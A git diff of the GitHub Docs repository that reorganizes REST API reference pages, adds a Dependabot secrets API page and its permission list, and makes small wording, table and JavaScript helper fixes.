index e634289eb4..6f5652be4e 100644
--- a/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md
+++ b/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md
@@ -32,7 +32,7 @@ refers to GitHub's `codeql` repository, and shows the `main` branch's current ve
 
 The version of a file at the head of branch can change as new commits are made, so if you were to copy the normal URL, the file contents might not be the same when someone looks at it later.
 
-## Press <kbd>y</kbd> to permalink to a file in a specific commit
+## Press <kbd>Y</kbd> to permalink to a file in a specific commit
 
 For a permanent link to the specific version of a file that you see, instead of using a branch name in the URL (i.e. the `main` part in the example above), put a commit id.  This will permanently link to the exact version of the file in that commit.  For example:
 
diff --git a/content/rest/reference/branches.md b/content/rest/reference/branches.md
index 60a187a93b..e6f2f12982 100644
--- a/content/rest/reference/branches.md
+++ b/content/rest/reference/branches.md
@@ -12,19 +12,11 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-## Branches
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'branches' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Merging
-
-The Repo Merging API supports merging branches in a repository. This accomplishes
-essentially the same thing as merging one branch into another in a local repository
-and then pushing to {% data variables.product.product_name %}. The benefit is that the merge is done on the server side and a local repository is not needed. This makes it more appropriate for automation and other tools where maintaining local repositories would be cumbersome and inefficient.
-
-The authenticated user will be the author of any merges done through this endpoint.
-
+## Protected branches
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'merging' %}{% include rest_operation %}{% endif %}
+  {% if operation.subcategory == 'branch-protection' %}{% include rest_operation %}{% endif %}
 {% endfor %}
\ No newline at end of file
diff --git a/content/rest/reference/collaborators.md b/content/rest/reference/collaborators.md
index c4842b7049..bec03092ee 100644
--- a/content/rest/reference/collaborators.md
+++ b/content/rest/reference/collaborators.md
@@ -12,10 +12,8 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-## Collaborators
-
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'collaborators' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
 ## Invitations
diff --git a/content/rest/reference/commits.md b/content/rest/reference/commits.md
index 79591a09a6..4a017fd456 100644
--- a/content/rest/reference/commits.md
+++ b/content/rest/reference/commits.md
@@ -1,6 +1,6 @@
 ---
 title: Commits
-intro: 'The commits API allows you to retrieve information and commits, create commit comments, and create commit statuses.'
+intro: 'The commits API allows you to list, view, and compare commits in a repository. You can also interact with commit comments and commit statuses.'
 allowTitleToDifferFromFilename: true
 versions:
   fpt: '*'
@@ -12,12 +12,8 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-## Commits
-
-The Repo Commits API supports listing, viewing, and comparing commits in a repository.
-
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'commits' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
 ## Commit comments
diff --git a/content/rest/reference/dependabot.md b/content/rest/reference/dependabot.md
new file mode 100644
index 0000000000..f60982c82b
--- /dev/null
+++ b/content/rest/reference/dependabot.md
@@ -0,0 +1,19 @@
+---
+title: Dependabot
+intro: 'With the {% data variables.product.prodname_dependabot %} Secrets API, you can manage and control {% data variables.product.prodname_dependabot %} secrets for an organization or repository.'
+versions:
+  fpt: '*'
+  ghes: '>=3.4'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+The {% data variables.product.prodname_dependabot %} Secrets API lets you create, update, delete, and retrieve information about encrypted secrets. {% data reusables.actions.about-secrets %} For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)."
+
+{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} must have the `dependabot_secrets` permission to use this API. Authenticated users must have collaborator access to a repository to create, update, or read secrets.
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'secrets' %}{% include rest_operation %}{% endif %}
+{% endfor %}
diff --git a/content/rest/reference/deployments.md b/content/rest/reference/deployments.md
index 1170b20485..c83f7a5ae4 100644
--- a/content/rest/reference/deployments.md
+++ b/content/rest/reference/deployments.md
@@ -12,18 +12,6 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-## Deploy keys
-
-{% data reusables.repositories.deploy-keys %}
-
-Deploy keys can either be setup using the following API endpoints, or by using GitHub. To learn how to set deploy keys up in GitHub, see "[Managing deploy keys](/developers/overview/managing-deploy-keys)."
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'keys' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
-## Deployments
-
 Deployments are requests to deploy a specific ref (branch, SHA, tag). GitHub dispatches a [`deployment` event](/developers/webhooks-and-events/webhook-events-and-payloads#deployment) that external services can listen for and act on when new deployments are created. Deployments enable developers and organizations to build loosely coupled tooling around deployments, without having to worry about the implementation details of delivering different types of applications (e.g., web, native).
 
 Deployment statuses allow external services to mark deployments with an `error`, `failure`, `pending`, `in_progress`, `queued`, or `success` state that systems listening to [`deployment_status` events](/developers/webhooks-and-events/webhook-events-and-payloads#deployment_status) can consume.
@@ -66,7 +54,6 @@ Keep in mind that GitHub is never actually accessing your servers. It's up to yo
 
 Note that the `repo_deployment` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted access to deployments and deployment statuses **without** granting access to repository code, while the {% ifversion not ghae %}`public_repo` and{% endif %}`repo` scopes grant permission to code as well.
 
-
 ### Inactive deployments
 
 When you set the state of a deployment to `success`, then all prior non-transient, non-production environment deployments in the same repository with the same environment name will become `inactive`. To avoid this, you can set `auto_inactive` to `false` when creating the deployment status.
@@ -74,7 +61,23 @@ When you set the state of a deployment to `success`, then all prior non-transien
 You can communicate that a transient environment no longer exists by setting its `state` to `inactive`.  Setting the `state` to `inactive` shows the deployment as `destroyed` in {% data variables.product.prodname_dotcom %} and removes access to it.
 
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'deployments' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
+
+## Deployment statuses
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'statuses' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+## Deploy keys
+
+{% data reusables.repositories.deploy-keys %}
+
+Deploy keys can either be setup using the following API endpoints, or by using GitHub. To learn how to set deploy keys up in GitHub, see "[Managing deploy keys](/developers/overview/managing-deploy-keys)."
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'keys' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
diff --git a/content/rest/reference/index.md b/content/rest/reference/index.md
index eb8dc90939..b17a0da794 100644
--- a/content/rest/reference/index.md
+++ b/content/rest/reference/index.md
@@ -19,31 +19,32 @@ children:
   - /codes-of-conduct
   - /code-scanning
   - /codespaces
-  - /commits
   - /collaborators
+  - /commits
+  - /dependabot
   - /deployments
   - /emojis
   - /enterprise-admin
   - /gists
   - /git
-  - /pages
   - /gitignore
   - /interactions
   - /issues
   - /licenses
   - /markdown
   - /meta
+  - /metrics
   - /migrations
   - /oauth-authorizations
   - /orgs
   - /packages
+  - /pages
   - /projects
   - /pulls
   - /rate-limit
   - /reactions
   - /releases
   - /repos
-  - /repository-metrics
   - /scim
   - /search
   - /secret-scanning
@@ -52,4 +53,3 @@ children:
   - /webhooks
   - /permissions-required-for-github-apps
 ---
-
diff --git a/content/rest/reference/repository-metrics.md b/content/rest/reference/metrics.md
similarity index 91%
rename from content/rest/reference/repository-metrics.md
rename to content/rest/reference/metrics.md
index aea394d6e0..e7e1dd1926 100644
--- a/content/rest/reference/repository-metrics.md
+++ b/content/rest/reference/metrics.md
@@ -1,7 +1,9 @@
 ---
-title: Repository metrics
+title: Metrics
 intro: 'The repository metrics API allows you to retrieve community profile, statistics, and traffic for your repository.'
 allowTitleToDifferFromFilename: true
+redirect_from:
+  - /rest/reference/repository-metrics
 versions:
   fpt: '*'
   ghes: '*'
@@ -12,6 +14,10 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
+{% for operation in currentRestOperations %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
+
 {% ifversion fpt or ghec %}
 ## Community
 
diff --git a/content/rest/reference/pages.md b/content/rest/reference/pages.md
index 713ca428fc..4892f85cfe 100644
--- a/content/rest/reference/pages.md
+++ b/content/rest/reference/pages.md
@@ -28,5 +28,5 @@ In {% data variables.product.prodname_pages %} API endpoints that  return GitHub
    - `path`: The repository directory from which the site publishes. Will be either `/` or `/docs`.
 
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'pages' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
\ No newline at end of file
diff --git a/content/rest/reference/permissions-required-for-github-apps.md b/content/rest/reference/permissions-required-for-github-apps.md
index a067fef447..ab2c0d6769 100644
--- a/content/rest/reference/permissions-required-for-github-apps.md
+++ b/content/rest/reference/permissions-required-for-github-apps.md
@@ -872,6 +872,24 @@ _Teams_
 - [`DELETE /orgs/:org/actions/secrets/:secret_name`](/rest/reference/actions#delete-an-organization-secret) (:write)
 {% endif %}
 
+{% ifversion fpt or ghec or ghes > 3.3%}
+### Permission on "dependabot_secrets"
+- [`GET /repos/:owner/:repo/dependabot/secrets/public-key`](/rest/reference/dependabot#get-a-repository-public-key) (:read)
+- [`GET /repos/:owner/:repo/dependabot/secrets`](/rest/reference/dependabot#list-repository-secrets) (:read)
+- [`GET /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#get-a-repository-secret) (:read)
+- [`PUT /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#create-or-update-a-repository-secret) (:write)
+- [`DELETE /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#delete-a-repository-secret) (:write)
+- [`GET /orgs/:org/dependabot/secrets/public-key`](/rest/reference/dependabot#get-an-organization-public-key) (:read)
+- [`GET /orgs/:org/dependabot/secrets`](/rest/reference/dependabot#list-organization-secrets) (:read)
+- [`GET /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#get-an-organization-secret) (:read)
+- [`PUT /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#create-or-update-an-organization-secret) (:write)
+- [`GET /orgs/:org/dependabot/secrets/:secret_name/repositories`](/rest/reference/dependabot#list-selected-repositories-for-an-organization-secret) (:read)
+- [`PUT /orgs/:org/dependabot/secrets/:secret_name/repositories`](/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret) (:write)
+- [`PUT /orgs/:org/dependabot/secrets/:secret_name/repositories/:repository_id`](/rest/reference/dependabot#add-selected-repository-to-an-organization-secret) (:write)
+- [`DELETE /orgs/:org/dependabot/secrets/:secret_name/repositories/:repository_id`](/rest/reference/dependabot#remove-selected-repository-from-an-organization-secret) (:write)
+- [`DELETE /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#delete-an-organization-secret) (:write)
+{% endif %}
+
 {% ifversion fpt or ghes > 3.0 or ghec %}
 ### Permission on "secret scanning alerts"
 
diff --git a/content/rest/reference/releases.md b/content/rest/reference/releases.md
index a434451bea..db97fc243f 100644
--- a/content/rest/reference/releases.md
+++ b/content/rest/reference/releases.md
@@ -19,5 +19,11 @@ miniTocMaxHeadingLevel: 3
 {% endnote %}
 
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'releases' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
+
+## Release assets 
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'assets' %}{% include rest_operation %}{% endif %}
 {% endfor %}
\ No newline at end of file
diff --git a/content/rest/reference/webhooks.md b/content/rest/reference/webhooks.md
index c9908012c1..c3ca959dc8 100644
--- a/content/rest/reference/webhooks.md
+++ b/content/rest/reference/webhooks.md
@@ -19,18 +19,36 @@ If you would like to set up a single webhook to receive events from all of your
 In addition to the REST API, {% data variables.product.prodname_dotcom %} can also serve as a [PubSubHubbub](#pubsubhubbub) hub for repositories.
 
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'webhooks' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-### Receiving Webhooks
+## Repository webhooks
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'repos' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+## Repository webhook configuration
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'repo-config' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+## Repository webhook deliveries
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'repo-deliveries' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+## Receiving Webhooks
 
 In order for {% data variables.product.product_name %} to send webhook payloads, your server needs to be accessible from the Internet. We also highly suggest using SSL so that we can send encrypted payloads over HTTPS.
 
-#### Webhook headers
+### Webhook headers
 
 {% data variables.product.product_name %} will send along several HTTP headers to differentiate between event types and payload identifiers. See [webhook headers](/developers/webhooks-and-events/webhook-events-and-payloads#delivery-headers) for details.
 
-### PubSubHubbub
+## PubSubHubbub
 
 GitHub can also serve as a [PubSubHubbub](https://github.com/pubsubhubbub/PubSubHubbub) hub for all repositories. PSHB is a simple publish/subscribe protocol that lets servers register to receive updates when a topic is updated. The updates are sent with an HTTP POST request to a callback URL.
 Topic URLs for a GitHub repository's pushes are in this format:
@@ -39,21 +57,21 @@ Topic URLs for a GitHub repository's pushes are in this format:
 
 The event can be any available webhook event. For more information, see "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads)."
 
-#### Response format
+### Response format
 
 The default format is what [existing post-receive hooks should expect](/post-receive-hooks/): A JSON body sent as the `payload` parameter in a POST.  You can also specify to receive the raw JSON body with either an `Accept` header, or a `.json` extension.
 
     Accept: application/json
     https://github.com/{owner}/{repo}/events/push.json
 
-#### Callback URLs
+### Callback URLs
 
 Callback URLs can use the `http://` protocol.
 
     # Send updates to postbin.org
     http://postbin.org/123
 
-#### Subscribing
+### Subscribing
 
 The GitHub PubSubHubbub endpoint is: `{% data variables.product.api_url_code %}/hub`. A successful request with curl looks like:
 
@@ -67,7 +85,7 @@ curl -u "user" -i \
 
 PubSubHubbub requests can be sent multiple times. If the hook already exists, it will be modified according to the request.
 
-##### Parameters
+#### Parameters
 
 Name | Type | Description
 -----|------|--------------
diff --git a/contributing/content-markup-reference.md b/contributing/content-markup-reference.md
index ac1ce965c6..0f5e0374ad 100644
--- a/contributing/content-markup-reference.md
+++ b/contributing/content-markup-reference.md
@@ -156,8 +156,6 @@ These instructions are pertinent to VS Code users.
 {% endvscode %}
 ```
 
-Unlike [operating system tags](#operating-system-tags), which will automatically add tabs to select the operating system at the top of the article, you must add `{% include tool-switcher %}` wherever you want to display tabs to select the tool. This allows you to display the tabs at the top of the article or immediately before a relevant section.
-
 You can define a default tool in the frontmatter. For more information, see the [content README](../content/README.md#defaulttool).
 
 ## Reusable and variable strings of text
diff --git a/contributing/localization-checklist.md b/contributing/localization-checklist.md
index 27683aead4..dc75e1c20e 100644
--- a/contributing/localization-checklist.md
+++ b/contributing/localization-checklist.md
@@ -1,15 +1,15 @@
 # Localization Prep Checklist
 
-Use the following checklist to help make your files more translation-friendly. For additional information, refer to the [style guide](content-style-guide.md).It gives more detail about how to translate by being abide to localization rules.
+Use the following checklist to help make your files more translation-friendly. For additional information, refer to the [style guide](content-style-guide.md).
 
 - [ ] Use examples that are generic and can be understood by most people.
 - [ ] Avoid controversial examples or culturally specific to a group.
 - [ ] Write in active voice.
 - [ ] Write simple, short and easy to understand sentences.
 - [ ] Avoid using too many pronouns that can make text unclear.
-- [ ] Avoid  using slang and jokes that might be related to any person,place or gender.
+- [ ] Avoid using slang and jokes.
 - [ ] Avoid negative sentences.
-- [ ] Use industry standard acronyms wherever possible and explain custom acronyms.
+- [ ] Use industry standard acronyms whenever possible and explain custom acronyms.
 - [ ] Use indicative mood.
 - [ ] Eliminate redundant and wordy expressions.
 - [ ] Avoid the excessive use of stacked modifiers (noun strings). The translator can misunderstand which one is the noun being modified.
@@ -18,7 +18,6 @@ Use the following checklist to help make your files more translation-friendly. F
 - [ ] Avoid using ambiguous modal auxiliary verbs.
 - [ ] Avoid gender-specific words.
 - [ ] Avoid prepositional phrases.
-- [ ] Avoid using passive voice to refer the relavant topic.
 - [ ] Avoid vague nouns and pronouns (vague sentence subject).
 - [ ] Keep inline links to a minimum. If they are necessary, preface them with a phrase such as "For more information, see "Link title". Alternatively, add relevant links to a "Further reading" section at the end of the topic.
 
diff --git a/data/glossaries/external.yml b/data/glossaries/external.yml
index 3685fe5a6e..c9ad845103 100644
--- a/data/glossaries/external.yml
+++ b/data/glossaries/external.yml
@@ -211,7 +211,7 @@
 - term: email notifications
   description: Notifications sent to a user's email address.
 - term: enterprise account
-  description: Enterprise accounts allow you to centrally manage policy and billing for multiple {% data variables.product.prodname_dotcom_the_website %} organizations. {% data reusables.gated-features.enterprise-accounts %}
+  description: Enterprise accounts allow you to centrally manage policy and billing for multiple organizations. {% data reusables.gated-features.enterprise-accounts %}
 - term: Explorer
   description: >-
     An instance of GraphiQL, which is a "graphical interactive in-browser GraphQL
diff --git a/data/reusables/actions/hardware-requirements-after.md b/data/reusables/actions/hardware-requirements-after.md
index 90bbf00302..92e6bdd202 100644
--- a/data/reusables/actions/hardware-requirements-after.md
+++ b/data/reusables/actions/hardware-requirements-after.md
@@ -1,7 +1,7 @@
 | vCPUs | Memory | Maximum Concurrency |
 | :--- | :--- | :--- |
 | 8 | 64 GB | 300 jobs |
-| 16 | 160 GB | 700 jobs |
-| 32 | 128 GB | 1300 jobs |
+| 16 | 128 GB | 700 jobs |
+| 32 | 160 GB | 1300 jobs |
 | 64 | 256 GB | 2000 jobs |
-| 96 | 384 GB | 4000 jobs |
\ No newline at end of file
+| 96 | 384 GB | 4000 jobs |
diff --git a/data/reusables/classroom/assignments-to-prevent-submission.md b/data/reusables/classroom/assignments-to-prevent-submission.md
index 62bd9cc2da..ad1874adb9 100644
--- a/data/reusables/classroom/assignments-to-prevent-submission.md
+++ b/data/reusables/classroom/assignments-to-prevent-submission.md
@@ -1 +1 @@
-To prevent acceptance or submission of an assignment by students, deselect **Enable assignment invitation URL**. To edit the assignment, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit assignment**.
+To prevent acceptance or submission of an assignment by students, you can change the "Assignment Status" within the "Edit assignment" view. When an assignment is Active, students will be able to accept it using the invitation link. When it is Inactive, this link will no longer be valid.
diff --git a/data/reusables/codespaces/codespaces-machine-type-availability.md b/data/reusables/codespaces/codespaces-machine-type-availability.md
new file mode 100644
index 0000000000..43f134fbf4
--- /dev/null
+++ b/data/reusables/codespaces/codespaces-machine-type-availability.md
@@ -0,0 +1,5 @@
+   {% note %}
+
+   **Note**: Your choice of available machine types may be limited by a policy configured for your organization, or by a minimum machine type specification for your repository. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)" and "[Setting a minimum specification for codespace machines](/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines)."
+
+   {% endnote %}
diff --git a/data/reusables/codespaces/creating-a-codespace-in-vscode.md b/data/reusables/codespaces/creating-a-codespace-in-vscode.md
index a5c18c99d8..c90e65a8b6 100644
--- a/data/reusables/codespaces/creating-a-codespace-in-vscode.md
+++ b/data/reusables/codespaces/creating-a-codespace-in-vscode.md
@@ -15,4 +15,6 @@ After you connect your account on {% data variables.product.product_location %}
 
 5. Click the machine type you want to develop in.
 
-   ![Instance types for a new {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/choose-sku-vscode.png)
\ No newline at end of file
+   ![Instance types for a new {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/choose-sku-vscode.png)
+
+   {% data reusables.codespaces.codespaces-machine-type-availability %}
diff --git a/data/reusables/desktop/delete-branch-win.md b/data/reusables/desktop/delete-branch-win.md
index 90b7d37719..4053cb7cce 100644
--- a/data/reusables/desktop/delete-branch-win.md
+++ b/data/reusables/desktop/delete-branch-win.md
@@ -1 +1 @@
-1. In your menu bar, click **Branch**, then click **Delete...**. You can also press <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>D</kbd>.
+1. In your menu bar, click **Branch**, then click **Delete...**. You can also press <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>D</kbd>.
diff --git a/data/reusables/gated-features/enterprise-accounts.md b/data/reusables/gated-features/enterprise-accounts.md
index 9e32c5025e..7953568f7e 100644
--- a/data/reusables/gated-features/enterprise-accounts.md
+++ b/data/reusables/gated-features/enterprise-accounts.md
@@ -1 +1 @@
-Enterprise accounts are available with {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %},{% endif %} and {% data variables.product.prodname_ghe_server %}. For more information, see "[About enterprise accounts]({% ifversion fpt or ghec %}/enterprise-cloud@latest{% endif %}/admin/overview/about-enterprise-accounts)."
+Enterprise accounts are available with {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %},{% endif %} and {% data variables.product.prodname_ghe_server %}. For more information, see "[About enterprise accounts]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/overview/about-enterprise-accounts){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
diff --git a/data/reusables/identity-and-permissions/team-sync-okta-requirements.md b/data/reusables/identity-and-permissions/team-sync-okta-requirements.md
index 6d1c34cfed..ced9093009 100644
--- a/data/reusables/identity-and-permissions/team-sync-okta-requirements.md
+++ b/data/reusables/identity-and-permissions/team-sync-okta-requirements.md
@@ -2,4 +2,4 @@ Before you enable team synchronization for Okta, you or your IdP administrator m
 
 - Configure the SAML, SSO, and SCIM integration for your organization using Okta. For more information, see "[Configuring SAML single sign-on and SCIM using Okta](/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta)."
 - Provide the tenant URL for your Okta instance.
-- Generate a valid SSWS token with read-only admin permissions for your Okta installation as a service user. For more information, see [Create the token](https://developer.okta.com/docs/guides/create-an-api-token/create-the-token/) and [Service users](https://help.okta.com/en/prod/Content/Topics/Adv_Server_Access/docs/service-users.htm) in Okta's documentation.
+- Generate a valid SSWS token with read-only admin permissions for your Okta installation as a service user. For more information, see [Create the token](https://developer.okta.com/docs/guides/create-an-api-token/create-the-token/) and [Service users](https://help.okta.com/asa/en-us/Content/Topics/Adv_Server_Access/docs/service-users.htm) in Okta's documentation.
diff --git a/data/reusables/notifications-v2/custom-notification-types.md b/data/reusables/notifications-v2/custom-notification-types.md
index af96a38c7e..02e9d24697 100644
--- a/data/reusables/notifications-v2/custom-notification-types.md
+++ b/data/reusables/notifications-v2/custom-notification-types.md
@@ -1,5 +1,3 @@
-{%- ifversion fpt or ghes > 3.1 or ghae-issue-4910 %}
-issues, pulls requests, releases, security alerts, or discussions
-{%- else %}issues, pull requests, releases, or discussions
-{% endif %}
-<!-- `else` statement probably not picked up by GHES 3.1 deprecation script. Will need to review here -->
+{%- ifversion fpt or ghes > 3.1 or ghae-issue-4910 %}issues, pull requests, releases, security alerts, or discussions
+{%- else %}issues, pull requests, releases, or discussions<!-- `else` statement probably not picked up by GHES 3.1 deprecation script. Will need to review here -->
+{% endif %}
\ No newline at end of file
diff --git a/data/reusables/organizations/internal-repos-enterprise.md b/data/reusables/organizations/internal-repos-enterprise.md
deleted file mode 100644
index d3b55e1d1b..0000000000
--- a/data/reusables/organizations/internal-repos-enterprise.md
+++ /dev/null
@@ -1,7 +0,0 @@
-{% ifversion fpt or ghec %}
-{% note %}
-
-**Note:** Internal repositories are available for organizations that are part of an enterprise account. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
-
-{% endnote %}
-{% endif %}
diff --git a/data/reusables/webhooks/release_short_desc.md b/data/reusables/webhooks/release_short_desc.md
index a8d506f409..ce963fac06 100644
--- a/data/reusables/webhooks/release_short_desc.md
+++ b/data/reusables/webhooks/release_short_desc.md
@@ -1 +1 @@
-Activity related to a release. {% data reusables.webhooks.action_type_desc %} For more information, see the "[releases](/rest/reference/repos#releases)" REST API.
+Activity related to a release. {% data reusables.webhooks.action_type_desc %} For more information, see the "[releases](/rest/reference/releases)" REST API.
diff --git a/data/reusables/webhooks/webhooks-rest-api-links.md b/data/reusables/webhooks/webhooks-rest-api-links.md
index 3c55718e76..affa74f408 100644
--- a/data/reusables/webhooks/webhooks-rest-api-links.md
+++ b/data/reusables/webhooks/webhooks-rest-api-links.md
@@ -1,5 +1,5 @@
 The webhook REST APIs enable you to manage repository, organization, and app webhooks.{% ifversion fpt or ghes > 3.2 or ghae or ghec %} You can use this API to list webhook deliveries for a webhook, or get and redeliver an individual delivery for a webhook, which can be integrated into an external app or service.{% endif %} You can also use the REST API to change the configuration of the webhook. For example, you can modify the payload URL, content type, SSL verification, and secret. For more information, see:
 
-- [Repository Webhooks REST API](/rest/reference/repos#webhooks)
+- [Repository Webhooks REST API](/rest/reference/webhooks#repository-webhooks)
 - [Organization Webhooks REST API](/rest/reference/orgs#webhooks)
 - [{% data variables.product.prodname_github_app %} Webhooks REST API](/rest/reference/apps#webhooks)
diff --git a/data/ui.yml b/data/ui.yml
index c2dd25a93a..6bc09429d6 100644
--- a/data/ui.yml
+++ b/data/ui.yml
@@ -32,7 +32,9 @@ search:
   placeholder: Search topics, products...
   loading: Loading
   no_results: No results found
+  search_results_for: Search results for
   no_content: No content
+  matches_displayed: Matches displayed
 homepage:
   explore_by_product: Explore by product
   version_picker: Version
@@ -66,6 +68,7 @@ survey:
   required: Required
   email_placeholder: email@example.com
   email_label: If we can contact you with more questions, please enter your email address
+  email_validation: Please enter a valid email address
   send: Send
   feedback: Thank you! We received your feedback.
   not_support: If you need a reply, please contact support instead.
diff --git a/includes/rest_operation.html b/includes/rest_operation.html
index 0823e001e3..0b82691511 100644
--- a/includes/rest_operation.html
+++ b/includes/rest_operation.html
@@ -89,10 +89,10 @@
                 <tbody>
                   {%- for childParam in childParamsGroup.params -%}
                   <tr>
-                    <td class="opacity-60">
+                    <td class="opacity-70">
                       <code>{{ childParam.name }}</code> ({{ childParam.type }})
                     </td>
-                    <td class="opacity-60">{{ childParam.description }}</td>
+                    <td class="opacity-70">{{ childParam.description }}</td>
                   </tr>
                   {%- endfor -%}
                 </tbody>
diff --git a/includes/tool-switcher.html b/includes/tool-switcher.html
deleted file mode 100644
index 960b79b44d..0000000000
--- a/includes/tool-switcher.html
+++ /dev/null
@@ -1 +0,0 @@
-<span class="tool-switcher"></span>
diff --git a/lib/get-applicable-versions.js b/lib/get-applicable-versions.js
index 009e0bb239..b9aefd73ca 100644
--- a/lib/get-applicable-versions.js
+++ b/lib/get-applicable-versions.js
@@ -54,9 +54,6 @@ function getApplicableVersions(frontmatterVersions, filepath) {
     {}
   )
 
-  // We will be evaluating feature versions separately, so we can remove this.
-  delete frontmatterVersions.feature
-
   // Get available versions for frontmatter and for feature versions.
   const foundFeatureVersions = evaluateVersions(featureVersions)
   const foundFrontmatterVersions = evaluateVersions(frontmatterVersions)
diff --git a/lib/get-liquid-data-references.js b/lib/get-liquid-data-references.js
index 5c965de7ef..62b310f6f4 100644
--- a/lib/get-liquid-data-references.js
+++ b/lib/get-liquid-data-references.js
@@ -4,11 +4,7 @@ import patterns from './patterns.js'
 
 export default function getLiquidDataReferences(text) {
   return (text.match(patterns.dataReference) || []).map((ref) => {
-    const cleaned = ref
-      .replace(/\.\.\//g, '')
-      .replace('{% data', '')
-      .replace('%}', '')
-      .trim()
+    const cleaned = ref.replace(/\.+\//g, '').replace('{% data', '').replace('%}', '').trim()
 
     return `site.data.${cleaned}`
   })
diff --git a/lib/page-data.js b/lib/page-data.js
index d25fb8e980..e5ac95f2ba 100644
--- a/lib/page-data.js
+++ b/lib/page-data.js
@@ -114,12 +114,12 @@ export async function versionPages(obj, version, langCode, site) {
 }
 
 // Derive a flat array of Page objects in all languages.
-export async function loadPageList(unversionedTree) {
+export async function loadPageList(unversionedTree, languagesOnly = null) {
   const rawTree = unversionedTree || (await loadUnversionedTree())
   const pageList = []
 
   await Promise.all(
-    Object.keys(languages).map(async (langCode) => {
+    (languagesOnly || Object.keys(languages)).map(async (langCode) => {
       await addToCollection(rawTree[langCode], pageList)
     })
   )
diff --git a/lib/patterns.js b/lib/patterns.js
index 72c0624f0c..e9365fd1cf 100644
--- a/lib/patterns.js
+++ b/lib/patterns.js
@@ -16,7 +16,7 @@ export const enterpriseHomepage = /\/enterprise\/?(\d+\.\d+)?$/
 export const desktop = /desktop\//
 export const oldGuidesPath = /(\/admin|(^|\/)desktop)\/guides/
 // need to capture 11.10.340 and 2.0+
-export const getEnterpriseVersionNumber = /^.*?enterprise\/(\d+\.\d+(?:\.340)?).*?$/
+export const getEnterpriseVersionNumber = /enterprise\/(\d+\.\d+(?:\.340)?)/
 export const removeEnterpriseVersion = /(enterprise\/)\d+\.\d+\//
 export const guides = /guides\//
 export const hasLanguageCode = /^\/[a-z]{2}(\/|$|\?)/
diff --git a/lib/redirects/static/rest-api-redirect-exceptions.json b/lib/redirects/static/rest-api-redirect-exceptions.json
new file mode 100644
index 0000000000..7bb45b7b9f
